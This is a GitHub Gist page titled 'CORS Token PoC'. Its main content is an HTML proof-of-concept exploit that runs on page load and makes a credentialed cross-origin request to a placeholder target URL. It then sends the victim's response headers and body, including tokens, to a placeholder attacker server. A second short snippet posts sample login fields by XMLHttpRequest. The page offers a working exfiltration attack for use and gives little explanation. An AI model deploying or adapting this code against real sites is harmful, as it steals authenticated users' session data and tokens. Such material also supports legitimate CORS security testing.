Last active
August 14, 2018 06:07
-
-
Save SleepyLctl/aba29a6b7837c7c82833dc2cb6f461d3 to your computer and use it in GitHub Desktop.
CORS Token PoC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <script> | |
| function hack() | |
| { | |
| var xmlhttp; | |
| if (window.XMLHttpRequest) | |
| { | |
| xmlhttp=new XMLHttpRequest(); | |
| } | |
| else | |
| { | |
| xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); | |
| } | |
| //Target URL | |
| xmlhttp.open("GET","CLIENT URL",false); | |
| xmlhttp.withCredentials=true; | |
| xmlhttp.send(); | |
| if(xmlhttp.status==200) | |
| { | |
| var str=xmlhttp.responseText; | |
| //FIXED: Thanks to @sleepylctl | |
| var bla = xmlhttp.getAllResponseHeaders(); | |
| //Locating the target string in the HTML response | |
| //var n=str.search("CSRFToken"); | |
| //Extracting the token | |
| //var c=str.substring(n+38,n+74); | |
| //Displaying the token in the server logs | |
| var url = "MY-SERVER//token-is?RESPONSE-Token: " + bla + " Body: " + str; | |
| xmlhttp.open("GET", url, true); | |
| xmlhttp.send(); | |
| } | |
| } | |
| </script> | |
| </head> | |
| <body onload="hack();"></body> | |
| </html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| try { | |
| var myXMLHttpRequest = new XMLHttpRequest(); | |
| } | |
| catch (error) { | |
| try { | |
| var myXMLHttpRequest = new ActiveXObject("Microsoft.XMLHTTP"); | |
| } | |
| catch (error) { | |
| var myXMLHttpRequest =null; | |
| } | |
| } | |
| if (myXMLHttpRequest) { | |
| myXMLHttpRequest.open("POST", "/skript.php", true); | |
| myXMLHttpRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); | |
| myXMLHttpRequest.send("jmeno=Tonda&heslo=pass123"); | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment